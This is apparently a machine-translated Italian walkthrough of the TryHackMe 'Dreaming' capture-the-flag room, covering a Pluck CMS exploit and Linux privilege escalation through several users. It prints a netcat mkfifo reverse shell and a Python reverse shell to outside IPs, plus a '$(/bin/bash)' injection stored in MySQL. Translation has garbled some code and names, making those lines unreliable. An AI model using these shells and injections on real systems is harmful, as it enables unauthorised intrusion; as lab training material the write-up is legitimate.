Abbiamo coperto ProvaHackMe Dreaming sfida in cui abbiamo dimostrato concetti di test di penetrazione come lo sfruttamento di una versione vulnerabile di Pluck CMS per ottenere una shell inversa. Quindi abbiamo avviato il processo di escalation orizzontale dei privilegi Linux. Ci siamo spostati tra vari utenti con privilegi alternati come www-data, lucien, death e morpheus. Una combinazione di permessi file deboli, privilegi assegnati in modo errato e credenziali codificate ci ha permesso di aumentare i privilegi all'utente più alto, Morpheus, e concludere la sfida.

Ottieni note OSCP

Il corso pratico completo sul Penetration Testing delle applicazioni Web

Video in evidenza

La prima cosa che inizieremo, come puoi vedere, è la scansione di Nmap che rivela due porte aperte, ovvero 22 e 80.
Iniziamo con la pagina web sulla porta 80 ed è la pagina Apache predefinita che ci fa utilizzare gobuster per rivelare la directory /app.
Quindi il percorso rivela come puoi vedere direttamente l'app insieme alla tecnologia utilizzata sul server web, che è CMS insieme alla versione 4.7.13. La versione è dotata della tecnologia del software, quindi devi cercare l'exploit corrispondente utilizzando searchsploit. L'exploit richiede un accesso autenticato che può essere ottenuto facendo clic sul collegamento "admin" e utilizzando "password" come password per accedere al pannello di amministrazione di Pluck CMS. Pertanto abbiamo i requisiti per eseguire l'exploit e caricare la webshell.

Dalla webshell, possiamo usare netcat reverse shell: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.81.146 4547 >/tmp/f

Quindi vediamo che abbiamo due script Python sotto /optare uno è getdreams.py e l'altro è test.py che contiene la password in testo semplice dell'utente Lucien.
Prossimo utilizzo sudo -l per visualizzare i privilegi dell'utente lucien per scoprire che lucien può eseguire quanto segue come utente morte

sudo -u morte /user/lib/python3.8 /home/morte/getDreams.py

GetDreams.py è uno script Python per eseguire alcune operazioni sul mio server SQL, quindi perché non dovremmo accedere al mio server SQL e scoprire cosa sta succedendo? Giusto? Quindi, come esaminare il mio SQL Server. Diamo un'occhiata al file di cronologia bash dell'utente lucien:

cat .bash_history L'output rivelerà il comando completo per accedere al server MYSQL.

Quando accediamo al mio SQL Server, inizieremo il processo di enumerazione MySQL, quindi per prima cosa mostriamo i database, come puoi vedere abbiamo un database univoco denominato Biblioteca.

mostrare database;

utilizzare la biblioteca;

seleziona * dai sogni;

INSERIRE VALORI NEI sogni (sognatore, sogno) (“iniezione” , “$(/bin/bash)”;

Sappiamo che Lucian può eseguire lo script Python come sudo quindi ora se esegui Avremo shell come utente della morte.

Quindi dal www-dati in Lucien e ora al Morfeo utente.
Quindi, come aumentare i privilegi, guarda prima in particolare il contenuto della directory appartenente a quell'utente. Vedrò che c'è uno script chiamato Restore.py che è uno script Python se diamo un'occhiata allo script Python che vediamo che utilizza chiuso modulo in Python per eseguire il backup. Quindi un rapido sguardo a questo file in /usr/lib/python3.8/shutil.py rivela che il gruppo morte può modificare questo file, quindi inseriamo una shell inversa python dopo aver annullato il suo contenuto per ottenere l'ultima shell come Morfeo utente.

echo “” > /usr/lib/python3.8/shutil.py

echo "importa socket,sottoprocesso;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","" -i”],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())” > /usr/lib/python3.8/shutil.py

Risposte in camera

Cos'è la bandiera di Lucien?
Cos'è la bandiera della morte?

Videoprocedura dettagliata

Circa l'autore

Creo note sulla sicurezza informatica, note di marketing digitale e corsi online. Fornisco anche consulenza di marketing digitale, inclusi ma non limitati a SEO, annunci Google e Meta e amministrazione CRM.

Visualizza articoli